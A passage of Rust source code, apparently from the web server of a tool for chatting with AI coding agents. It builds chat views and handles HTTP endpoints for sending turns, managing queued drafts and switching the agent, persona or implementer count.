7007 persona_name: Option<String>,
7009 persona_avatar: String,
7012 operator_avatar: String,
7014 magi_avatar: String,
7015}
7016
7017impl TalkView {
7018 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7021 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7022 Self::with_config(talk, thinking, cfg.as_ref(), home)
7023 }
7024
7025 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7028 let snapshot = talk.clone();
7030 for (index, turn) in talk.turns.iter_mut().enumerate() {
7031 let original = &snapshot.turns[index];
7032 if turn.messages.is_empty() {
7033 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7034 turn.messages.push(talk::Message {
7035 sender: Some(talk::Sender::Magi),
7036 body: original.body.clone(),
7037 display: Some(display),
7038 attachments: original.attachments.clone(),
7039 reply: None,
7040 });
7041 }
7042 } else {
7043 for (i, message) in turn.messages.iter_mut().enumerate() {
7044 message.display =
7045 talk::notice_display(&snapshot, original, original.messages.get(i));
7046 if message.display.is_some() {
7047 message.sender = Some(talk::Sender::Magi);
7048 }
7049 }
7050 }
7051 }
7052 for message in &mut talk.pending_messages {
7053 if message.display.is_none()
7054 && (message.sender == Some(talk::Sender::Magi)
7055 || snapshot
7056 .completion_notices
7057 .iter()
7058 .any(|r| r.notice == message.body))
7059 {
7060 message.display = crate::prompt::legacy_notice_display(&message.body);
7061 if message.display.is_some() {
7062 message.sender = Some(talk::Sender::Magi);
7063 }
7064 }
7065 }
7066 if talk.pending_messages.is_empty()
7067 && snapshot
7068 .completion_notices
7069 .iter()
7070 .any(|r| r.notice == talk.pending)
7071 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7072 {
7073 talk.pending_messages.push(talk::Message {
7074 sender: Some(talk::Sender::Magi),
7075 display: Some(display),
7076 body: talk.pending.clone(),
7077 attachments: talk.pending_attachments.clone(),
7078 reply: None,
7079 });
7080 }
7081 let excerpts: Vec<Vec<Option<String>>> = talk
7082 .turns
7083 .iter()
7084 .map(|turn| {
7085 turn.messages
7086 .iter()
7087 .map(|m| {
7088 m.display
7089 .as_ref()
7090 .map(|d| d.facts.chars().take(240).collect())
7091 })
7092 .collect()
7093 })
7094 .collect();
7095 for turn in &mut talk.turns {
7096 let provenance = talk::sender(turn, None);
7097 turn.sender = Some(provenance);
7098 for message in &mut turn.messages {
7099 message.sender = Some(message.sender.unwrap_or(provenance));
7100 }
7101 }
7102 let senders: Vec<Vec<talk::Sender>> = talk
7104 .turns
7105 .iter()
7106 .map(|turn| {
7107 if turn.messages.is_empty() {
7108 vec![talk::sender(turn, None)]
7109 } else {
7110 turn.messages
7111 .iter()
7112 .map(|m| talk::sender(turn, Some(m)))
7113 .collect()
7114 }
7115 })
7116 .collect();
7117 for reply in talk
7118 .turns
7119 .iter_mut()
7120 .flat_map(|t| t.messages.iter_mut())
7121 .chain(talk.pending_messages.iter_mut())
7122 .filter_map(|m| m.reply.as_mut())
7123 {
7124 if let Some(Some(excerpt)) = excerpts
7125 .get(reply.target.turn)
7126 .and_then(|ms| ms.get(reply.target.message))
7127 {
7128 reply.excerpt = excerpt.clone();
7129 reply.sender = Some(talk::Sender::Magi);
7130 }
7131 if reply.sender.is_none() {
7132 reply.sender = senders
7133 .get(reply.target.turn)
7134 .and_then(|messages| messages.get(reply.target.message))
7135 .copied();
7136 }
7137 }
7138 let context = talk::context_usage(&talk, cfg);
7139 let turn_bodies_md = talk
7140 .turns
7141 .iter()
7142 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7143 .collect();
7144 let turn_messages_md = talk
7145 .turns
7146 .iter()
7147 .map(|turn| {
7148 if turn.messages.is_empty() {
7149 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7150 } else {
7151 turn.messages
7152 .iter()
7153 .map(|message| {
7154 notice_markdown(
7155 message.sender.unwrap_or(talk::Sender::Operator),
7156 &message.body,
7157 message.display.as_ref(),
7158 )
7159 })
7160 .collect()
7161 }
7162 })
7163 .collect();
7164 let pending_messages_md = talk
7165 .pending_messages
7166 .iter()
7167 .map(|message| {
7168 notice_markdown(
7169 message.sender.unwrap_or(talk::Sender::Operator),
7170 &message.body,
7171 message.display.as_ref(),
7172 )
7173 })
7174 .collect();
7175 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7176 let persona_name = persona::find(specs, &talk.persona)
7177 .filter(|p| !p.is_default())
7178 .map(|p| p.name);
7179 let persona_avatar = avatar_url(
7180 &talk.id,
7181 &persona::find(specs, &talk.persona)
7182 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7183 );
7184 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7185 Self {
7186 turn_bodies_md,
7187 turn_messages_md,
7188 pending_messages_md,
7189 thinking,
7190 context,
7191 operator_name,
7192 persona_name,
7193 persona_avatar,
7194 magi_avatar: magi_icon_url(home),
7195 operator_avatar: format!(
7196 "/avatars/operator.svg?v={}",
7197 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7198 ),
7199 talk,
7200 }
7201 }
7202}
7203
7204fn notice_markdown(
7206 sender: talk::Sender,
7207 body: &str,
7208 display: Option<&crate::prompt::NoticeDisplay>,
7209) -> Option<Vec<md::Node>> {
7210 if sender != talk::Sender::Magi {
7211 return None;
7212 }
7213 let text = if let Some(display) = display {
7214 display.facts.as_str()
7215 } else {
7216 if crate::prompt::is_completion_notice(body)
7219 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7220 {
7221 return None;
7222 }
7223 body.strip_prefix("magi: ").unwrap_or(body)
7224 };
7225 Some(md::to_nodes(text, &md::ImageBase::None))
7226}
7227
7228#[derive(Debug, Serialize)]
7233struct TalkDetailView {
7234 #[serde(flatten)]
7235 view: TalkView,
7236 tasks: Vec<TaskView>,
7237 roster: Vec<RosterEntry>,
7240 personas: Vec<PersonaEntry>,
7243}
7244
7245#[derive(Debug, Serialize)]
7247struct PersonaEntry {
7248 id: String,
7249 name: String,
7250 avatar: String,
7252}
7253
7254#[derive(Debug, Serialize)]
7256struct RosterEntry {
7257 id: String,
7258 kind: AgentKind,
7259 runnable: bool,
7261}
7262
7263async fn talks_list(
7268 State(ui): State<Arc<Ui>>,
7269 Query(q): Query<ListQuery>,
7270) -> ApiResult<Json<Vec<TalkView>>> {
7271 blocking(move || {
7272 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7273 Ok(Json(
7274 ui.talks
7275 .list()
7276 .into_iter()
7277 .filter(|talk| q.contains(&talk.id))
7278 .map(|talk| {
7279 let thinking = ui.is_thinking(&talk.id);
7280 let cfg = configs
7281 .entry(talk.repo.clone())
7282 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7283 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7284 })
7285 .collect(),
7286 ))
7287 })
7288 .await
7289}
7290
7291#[derive(Debug, Default, Deserialize)]
7296#[serde(default)]
7297struct NewTalk {
7298 agent: Option<String>,
7299 repo: Option<PathBuf>,
7300 preferred_agent: Option<serde_json::Value>,
7304 persona: Option<serde_json::Value>,
7305 implementers: Option<serde_json::Value>,
7306}
7307
7308async fn talk_post(
7311 State(ui): State<Arc<Ui>>,
7312 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7313) -> ApiResult<impl IntoResponse> {
7314 let body = match body {
7318 Ok(Json(body)) => body,
7319 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7320 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7321 };
7322 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7323 let cfg = config_for(&repo).await?;
7324 let view = blocking(move || {
7325 let preferred = talk::Preferred {
7326 agent: body
7327 .preferred_agent
7328 .as_ref()
7329 .and_then(|v| v.as_str())
7330 .map(str::to_owned),
7331 persona: body
7332 .persona
7333 .as_ref()
7334 .and_then(|v| v.as_str())
7335 .map(str::to_owned),
7336 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7337 };
7338 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7339 let thinking = ui.is_thinking(&talk.id);
7340 Ok(TalkView::new(talk, thinking, &ui.home))
7341 })
7342 .await?;
7343 Ok((StatusCode::CREATED, Json(view)))
7344}
7345
7346async fn talk_detail(
7348 State(ui): State<Arc<Ui>>,
7349 Path(id): Path<String>,
7350) -> ApiResult<Json<TalkDetailView>> {
7351 blocking(move || {
7352 let id = resolve_talk(&ui.talks, &id)?;
7353 let talk = ui.talks.get(&id)?;
7354 let thinking = ui.is_thinking(&talk.id);
7355 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7356 .into_iter()
7357 .map(TaskView::from)
7358 .collect();
7359 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7360 let roster = cfg
7361 .as_ref()
7362 .map(|cfg| {
7363 cfg.agents
7364 .iter()
7365 .map(|a| RosterEntry {
7366 id: a.id.clone(),
7367 kind: a.kind,
7368 runnable: agent::installed(a),
7369 })
7370 .collect()
7371 })
7372 .unwrap_or_default();
7373 let specs = cfg
7374 .as_ref()
7375 .map(|cfg| cfg.talk.personas.clone())
7376 .unwrap_or_default();
7377 let personas = persona::catalog(&specs)
7378 .into_iter()
7379 .map(|p| PersonaEntry {
7380 avatar: avatar_url(&talk.id, &p),
7381 id: p.id,
7382 name: p.name,
7383 })
7384 .collect();
7385 Ok(Json(TalkDetailView {
7386 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7387 tasks,
7388 roster,
7389 personas,
7390 }))
7391 })
7392 .await
7393}
7394
7395#[derive(Debug, Default, Deserialize)]
7401#[serde(default, deny_unknown_fields)]
7402struct NewTalkTurn {
7403 reply_to: Option<talk::ReplyTarget>,
7404 text: String,
7405 attachments: Vec<String>,
7406}
7407
7408#[derive(Debug, Deserialize)]
7409#[serde(deny_unknown_fields)]
7410struct EditTalkPending {
7411 #[serde(default)]
7412 message: Option<usize>,
7413 text: String,
7414 expected_text: String,
7415 expected_attachments: Vec<String>,
7416}
7417
7418#[derive(Debug, Deserialize)]
7419#[serde(deny_unknown_fields)]
7420struct ClearTalkPending {
7421 expected_text: String,
7422 expected_attachments: Vec<String>,
7423}
7424
7425async fn talk_say(
7437 State(ui): State<Arc<Ui>>,
7438 Path(id): Path<String>,
7439 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7440) -> ApiResult<(StatusCode, Json<TalkView>)> {
7441 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7442 if body.text.trim().is_empty() && body.attachments.is_empty() {
7443 return Err(ApiError::bad_request("say something"));
7444 }
7445
7446 let id = {
7447 let ui = Arc::clone(&ui);
7448 let asked = id.clone();
7449 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7450 };
7451 {
7455 let ui = Arc::clone(&ui);
7456 let id = id.clone();
7457 blocking(move || {
7458 let talk = ui.talks.get(&id)?;
7459 if !talk.status.open() {
7460 return Err(ApiError::conflict(format!(
7461 "talk {} is {} and takes no more turns",
7462 talk.short(),
7463 talk.status.as_str()
7464 )));
7465 }
7466 Ok(())
7467 })
7468 .await?;
7469 }
7470
7471 let attachments = {
7476 let ui = Arc::clone(&ui);
7477 let id = id.clone();
7478 let ids = body.attachments.clone();
7479 blocking(move || {
7480 ids.into_iter()
7481 .map(|att_id| {
7482 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7483 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7484 })
7485 })
7486 .collect::<ApiResult<Vec<talk::Attachment>>>()
7487 })
7488 .await?
7489 };
7490
7491 let start = {
7496 let ui = Arc::clone(&ui);
7497 let id = id.clone();
7498 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7499 };
7500 let turn_guard = match start {
7501 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7502 TalkTurnStart::Pending => {
7503 return Err(ApiError::conflict(
7504 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7505 ));
7506 }
7507 TalkTurnStart::Foreign => {
7508 return Err(ApiError::conflict(
7509 "a turn is already running in another process; try again when it has finished",
7510 ));
7511 }
7512 TalkTurnStart::Busy => {
7513 let (tx, rx) = tokio::sync::oneshot::channel();
7529 tokio::spawn({
7530 let ui = Arc::clone(&ui);
7531 let id = id.clone();
7532 let said = body.text.clone();
7533 let reply_to = body.reply_to.clone();
7534 async move {
7535 let written = blocking({
7536 let ui = Arc::clone(&ui);
7537 let id = id.clone();
7538 move || {
7539 let mut talk = ui.talks.get(&id)?;
7540 #[cfg(test)]
7545 if let Some(gate) = ui
7546 .busy_queue_gate
7547 .lock()
7548 .unwrap_or_else(PoisonError::into_inner)
7549 .take()
7550 {
7551 let _ = gate.reached.send(());
7552 let _ = gate.release.recv();
7553 }
7554 if let Err(error) = talk::queue_reply(
7555 &mut talk,
7556 &ui.talks,
7557 &said,
7558 attachments,
7559 reply_to,
7560 ) {
7561 if let Ok(fresh) = ui.talks.get(&id) {
7562 if !fresh.status.open() {
7563 return Err(ApiError::conflict(format!(
7564 "talk {} is {} and takes no more turns",
7565 fresh.short(),
7566 fresh.status.as_str()
7567 )));
7568 }
7569 }
7570 return Err(
7571 if error.to_string().contains("invalid reply target") {
7572 ApiError::bad_request("invalid reply target")
7573 } else {
7574 ApiError::from(error)
7575 },
7576 );
7577 }
7578 let claim = match ui.begin_queued_talk_turn(&id)? {
7589 Some(turn_guard) => {
7590 let (cfg, _) = Config::discover(&talk.repo, None)?;
7591 Some((talk.clone(), cfg, turn_guard))
7592 }
7593 None => None,
7594 };
7595 let thinking = ui.is_thinking(&id);
7596 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7597 }
7598 })
7599 .await;
7600 let (view, reclaimed) = match written {
7601 Ok(pair) => pair,
7602 Err(e) => {
7603 let _ = tx.send(Err(e));
7608 return;
7609 }
7610 };
7611 let _ = tx.send(Ok(view));
7614 if let Some((talk, cfg, turn_guard)) = reclaimed {
7615 let talks = ui.talks.clone();
7616 drain_loop(talk, talks, cfg, id, turn_guard).await;
7617 }
7618 }
7619 });
7620 let view = rx
7621 .await
7622 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7623 return Ok((StatusCode::ACCEPTED, Json(view)));
7624 }
7625 };
7626
7627 let (talk, cfg) = {
7628 let ui = Arc::clone(&ui);
7629 let id = id.clone();
7630 blocking(move || {
7631 let talk = ui.talks.get(&id)?;
7632 let (cfg, _) = Config::discover(&talk.repo, None)?;
7633 Ok((talk, cfg))
7634 })
7635 .await?
7636 };
7637
7638 let talks = ui.talks.clone();
7639 let (tx, rx) = tokio::sync::oneshot::channel();
7654 tokio::spawn({
7655 let ui = Arc::clone(&ui);
7656 let talks = talks.clone();
7657 let id = id.clone();
7658 let said = body.text.clone();
7659 let reply_to = body.reply_to.clone();
7660 let mut talk = talk.clone();
7661 async move {
7662 let recorded = blocking({
7663 let talks = talks.clone();
7664 move || {
7665 if let Err(error) =
7666 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7667 {
7668 if let Ok(fresh) = talks.get(&talk.id) {
7669 if !fresh.status.open() {
7670 return Err(ApiError::conflict(format!(
7671 "talk {} is {} and takes no more turns",
7672 fresh.short(),
7673 fresh.status.as_str()
7674 )));
7675 }
7676 }
7677 return Err(if error.to_string().contains("invalid reply target") {
7678 ApiError::bad_request("invalid reply target")
7679 } else {
7680 ApiError::from(error)
7681 });
7682 }
7683 Ok((said.trim().to_owned(), talk))
7689 }
7690 })
7691 .await;
7692 let (text, mut talk) = match recorded {
7693 Ok(pair) => pair,
7694 Err(e) => {
7695 let _ = tx.send(Err(e));
7699 return;
7700 }
7701 };
7702 let queued = talk.clone();
7703 let thinking = ui.is_thinking(&id);
7704 let _ = tx.send(Ok((queued, thinking)));
7707
7708 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7709 tracing::warn!("talk {id} turn failed: {e:#}");
7713 }
7714 drain_loop(talk, talks, cfg, id, turn_guard).await;
7717 }
7718 });
7719
7720 let (queued, thinking) = rx
7721 .await
7722 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7723
7724 Ok((
7726 StatusCode::ACCEPTED,
7727 Json(TalkView::new(queued, thinking, &ui.home)),
7728 ))
7729}
7730
7731async fn talk_pending_resume(
7735 State(ui): State<Arc<Ui>>,
7736 Path(id): Path<String>,
7737) -> ApiResult<(StatusCode, Json<TalkView>)> {
7738 let id = {
7739 let ui = Arc::clone(&ui);
7740 let asked = id.clone();
7741 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7742 };
7743 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7744 return Err(ApiError::conflict(
7745 "a talk turn is already running; the queued draft will be handled by it",
7746 ));
7747 };
7748 let (talk, cfg) = {
7749 let ui = Arc::clone(&ui);
7750 let id = id.clone();
7751 blocking(move || {
7752 let talk = ui.talks.get(&id)?;
7753 if !talk.status.open() {
7754 return Err(ApiError::conflict(format!(
7755 "talk {} is {} and takes no more turns",
7756 talk.short(),
7757 talk.status.as_str()
7758 )));
7759 }
7760 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7761 return Err(ApiError::conflict("there is no queued draft to resume"));
7762 }
7763 let (cfg, _) = Config::discover(&talk.repo, None)?;
7764 Ok((talk, cfg))
7765 })
7766 .await?
7767 };
7768 let view = TalkView::new(talk.clone(), true, &ui.home);
7769 let talks = ui.talks.clone();
7770 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7771 Ok((StatusCode::ACCEPTED, Json(view)))
7772}
7773
7774async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7790 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7791}
7792
7793async fn settle_settings_turn(
7797 talk: Talk,
7798 talks: Talks,
7799 cfg: Config,
7800 id: String,
7801 turn: TalkTurnGuard,
7802 observed: u64,
7803) -> bool {
7804 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7805 let turns = Arc::clone(&turn.turns);
7806 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7807 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7808 turn.release(&mut live);
7810 return false;
7811 }
7812 }
7813 let (started, settled) = tokio::sync::oneshot::channel();
7814 tokio::spawn(drain_loop_started(
7815 talk,
7816 talks,
7817 cfg,
7818 id,
7819 turn,
7820 Some(started),
7821 ));
7822 settled.await.unwrap_or(false)
7823}
7824
7825async fn drain_loop_started(
7826 mut talk: Talk,
7827 talks: Talks,
7828 cfg: Config,
7829 id: String,
7830 turn: TalkTurnGuard,
7831 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7832) {
7833 let live_set = Arc::clone(&turn.turns);
7834 let mut turn = Some(turn);
7842 loop {
7843 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7844 tracing::warn!("talk {id} lost its turn lease; not draining further");
7847 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7848 if let Some(turn) = turn.take() {
7849 turn.release(&mut live);
7850 }
7851 break;
7852 }
7853 {
7854 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7857 if live.parking {
7858 if let Some(turn) = turn.take() {
7859 turn.release(&mut live);
7860 }
7861 break;
7862 }
7863 }
7864 let observed = live_set
7868 .lock()
7869 .unwrap_or_else(PoisonError::into_inner)
7870 .queued
7871 .get(&id)
7872 .copied()
7873 .unwrap_or(0);
7874 let drained = blocking({
7875 let talks = talks.clone();
7876 let live_set = Arc::clone(&live_set);
7877 move || {
7878 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7883 let result = if live.parking {
7884 Ok(None)
7885 } else {
7886 talk::drain(&mut talk, &talks)
7887 };
7888 drop(live);
7889 Ok((talk, result))
7890 }
7891 })
7892 .await;
7893 let (next_talk, result) = match drained {
7894 Ok(drained) => drained,
7895 Err(e) => {
7896 tracing::warn!(
7897 status = %e.status,
7898 message = %e.message,
7899 "talk {id} could not start queued-text drain"
7900 );
7901 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7902 turn.take()
7903 .expect("held for the whole loop until released here")
7904 .release(&mut live);
7905 break;
7906 }
7907 };
7908 talk = next_talk;
7909 let drained = match result {
7910 Ok(Some(drained)) => drained,
7911 Ok(None) => {
7912 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7913 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7914 continue;
7915 }
7916 turn.take()
7917 .expect("held for the whole loop until released here")
7918 .release(&mut live);
7919 break;
7920 }
7921 Err(e) => {
7922 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7923 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7924 turn.take()
7925 .expect("held for the whole loop until released here")
7926 .release(&mut live);
7927 break;
7928 }
7929 };
7930 if let Some(started) = started.take() {
7931 let _ = started.send(true);
7932 }
7933 let responded = match turn.as_ref() {
7934 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7935 None => Err(anyhow::anyhow!("the turn guard was released")),
7936 };
7937 if let Err(e) = responded {
7938 tracing::warn!("talk {id} turn failed: {e:#}");
7939 }
7940 }
7941 drop(turn);
7942 if let Some(started) = started {
7943 let _ = started.send(false);
7944 }
7945}
7946
7947async fn talk_pending_clear(
7949 State(ui): State<Arc<Ui>>,
7950 Path(id): Path<String>,
7951 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7952) -> ApiResult<Json<TalkView>> {
7953 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7954 blocking(move || {
7955 let id = resolve_talk(&ui.talks, &id)?;
7956 let mut talk = ui.talks.get(&id)?;
7957 if !talk.status.open() {
7958 return Err(ApiError::conflict(format!(
7959 "talk {} is {} and takes no more turns",
7960 talk.short(),
7961 talk.status.as_str()
7962 )));
7963 }
7964 if !talk::clear_pending_if_matches(
7965 &mut talk,
7966 &ui.talks,
7967 &body.expected_text,
7968 &body.expected_attachments,
7969 )? {
7970 return Err(ApiError::conflict(
7971 "queued message changed; reload it before clearing",
7972 ));
7973 }
7974 let thinking = ui.is_thinking(&talk.id);
7975 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
7976 })
7977 .await
7978}
7979
7980async fn talk_pending_edit(
7984 State(ui): State<Arc<Ui>>,
7985 Path(id): Path<String>,
7986 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7987) -> ApiResult<Json<TalkView>> {
7988 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7989 let (view, reclaimed) = blocking({
7990 let ui = Arc::clone(&ui);
7991 move || {
7992 let id = resolve_talk(&ui.talks, &id)?;
7993 let mut talk = ui.talks.get(&id)?;
7994 if !talk.status.open() {
7995 return Err(ApiError::conflict(format!(
7996 "talk {} is {} and takes no more turns",
7997 talk.short(),
7998 talk.status.as_str()
7999 )));
8000 }
8001 if !talk::edit_pending_message(
8002 &mut talk,
8003 &ui.talks,
8004 &body.text,
8005 &body.expected_text,
8006 &body.expected_attachments,
8007 body.message,
8008 )? {
8009 return Err(ApiError::conflict(
8010 "queued message changed; reload it before editing",
8011 ));
8012 }
8013 let claim = match ui.begin_queued_talk_turn(&id)? {
8014 Some(turn_guard) => {
8015 let (cfg, _) = Config::discover(&talk.repo, None)?;
8016 Some((talk.clone(), cfg, id.clone(), turn_guard))
8017 }
8018 None => None,
8019 };
8020 let thinking = ui.is_thinking(&id);
8021 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8022 }
8023 })
8024 .await?;
8025 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8026 let talks = ui.talks.clone();
8027 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8028 }
8029 Ok(Json(view))
8030}
8031
8032fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8034 if talk.status.open() {
8035 return Ok(());
8036 }
8037 Err(ApiError::conflict(format!(
8038 "talk {} is {} and takes no more turns",
8039 talk.short(),
8040 talk.status.as_str()
8041 )))
8042}
8043
8044#[derive(Debug, Deserialize)]
8046struct TalkAgent {
8047 agent: String,
8048}
8049
8050async fn talk_agent(
8055 State(ui): State<Arc<Ui>>,
8056 Path(id): Path<String>,
8057 Json(body): Json<TalkAgent>,
8058) -> ApiResult<Json<TalkView>> {
8059 let id = {
8060 let ui = Arc::clone(&ui);
8061 blocking(move || resolve_talk(&ui.talks, &id)).await?
8062 };
8063 let repo = {
8064 let ui = Arc::clone(&ui);
8065 let id = id.clone();
8066 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8067 };
8068 let cfg = config_for(&repo).await?;
8069 {
8071 let ui = Arc::clone(&ui);
8072 let id = id.clone();
8073 let cfg = cfg.clone();
8074 let wanted = body.agent.clone();
8075 blocking(move || {
8076 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8077 .map_err(ApiError::bad_request_from)?;
8078 refuse_if_closed(&ui.talks.get(&id)?)
8079 })
8080 .await?;
8081 }
8082 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8083 return Err(ApiError::conflict(
8084 "a talk turn is running; change the agent once it has answered",
8085 ));
8086 };
8087 let switched = {
8088 let ui = Arc::clone(&ui);
8089 let id = id.clone();
8090 let cfg = cfg.clone();
8091 blocking(move || {
8092 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8093 .map_err(ApiError::bad_request_from)?;
8094 let mut talk = ui.talks.get(&id)?;
8095 if !talk.status.open() {
8096 return Err(ApiError::conflict(format!(
8097 "talk {} is {} and takes no more turns",
8098 talk.short(),
8099 talk.status.as_str()
8100 )));
8101 }
8102 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8103 Ok(talk)
8104 })
8105 .await
8106 };
8107 let observed = ui.queued_generation(&id);
8112 let fresh = {
8113 let ui = Arc::clone(&ui);
8114 let id = id.clone();
8115 blocking(move || Ok(ui.talks.get(&id)?)).await
8116 };
8117 let draining = match fresh {
8118 Ok(talk) => {
8119 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8120 }
8121 Err(_) => false,
8122 };
8123 let talk = switched?;
8124 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8125}
8126
8127#[derive(Debug, Deserialize)]
8129struct TalkPersona {
8130 persona: String,
8131}
8132
8133async fn talk_persona(
8137 State(ui): State<Arc<Ui>>,
8138 Path(id): Path<String>,
8139 Json(body): Json<TalkPersona>,
8140) -> ApiResult<Json<TalkView>> {
8141 let id = {
8142 let ui = Arc::clone(&ui);
8143 blocking(move || resolve_talk(&ui.talks, &id)).await?
8144 };
8145 let repo = {
8146 let ui = Arc::clone(&ui);
8147 let id = id.clone();
8148 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8149 };
8150 let cfg = config_for(&repo).await?;
8151 {
8153 let ui = Arc::clone(&ui);
8154 let id = id.clone();
8155 let cfg = cfg.clone();
8156 let wanted = body.persona.clone();
8157 blocking(move || {
8158 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8159 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8160 }
8161 refuse_if_closed(&ui.talks.get(&id)?)
8162 })
8163 .await?;
8164 }
8165 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8166 return Err(ApiError::conflict(
8167 "a talk turn is running; change the persona once it has answered",
8168 ));
8169 };
8170 let switched = {
8171 let ui = Arc::clone(&ui);
8172 let id = id.clone();
8173 let cfg = cfg.clone();
8174 blocking(move || {
8175 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8176 return Err(ApiError::bad_request(format!(
8177 "unknown persona `{}`",
8178 body.persona
8179 )));
8180 };
8181 let mut talk = ui.talks.get(&id)?;
8182 if !talk.status.open() {
8183 return Err(ApiError::conflict(format!(
8184 "talk {} is {} and takes no more turns",
8185 talk.short(),
8186 talk.status.as_str()
8187 )));
8188 }
8189 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8190 Ok(talk)
8191 })
8192 .await
8193 };
8194 let observed = ui.queued_generation(&id);
8196 let fresh = {
8197 let ui = Arc::clone(&ui);
8198 let id = id.clone();
8199 blocking(move || Ok(ui.talks.get(&id)?)).await
8200 };
8201 let draining = match fresh {
8202 Ok(talk) => {
8203 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8204 }
8205 Err(_) => false,
8206 };
8207 let talk = switched?;
8208 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8209}
8210
8211#[derive(Debug, Deserialize)]
8213struct TalkImplementers {
8214 implementers: u8,
8215}
8216
8217async fn talk_implementers(
8221 State(ui): State<Arc<Ui>>,
8222 Path(id): Path<String>,
8223 Json(body): Json<TalkImplementers>,
8224) -> ApiResult<Json<TalkView>> {
8225 let id = {
8226 let ui = Arc::clone(&ui);
8227 blocking(move || resolve_talk(&ui.talks, &id)).await?
8228 };
8229 let repo = {
8230 let ui = Arc::clone(&ui);
8231 let id = id.clone();
8232 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8233 };
8234 let cfg = config_for(&repo).await?;
8235 {
8240 let ui = Arc::clone(&ui);
8241 let id = id.clone();
8242 let cfg = cfg.clone();
8243 let wanted = body.implementers;
8244 blocking(move || {
8245 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8246 refuse_if_closed(&ui.talks.get(&id)?)
8247 })
8248 .await?;
8249 }
8250 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8251 return Err(ApiError::conflict(
8252 "a talk turn is running; change the implementers once it has answered",
8253 ));
8254 };
8255 let switched = {
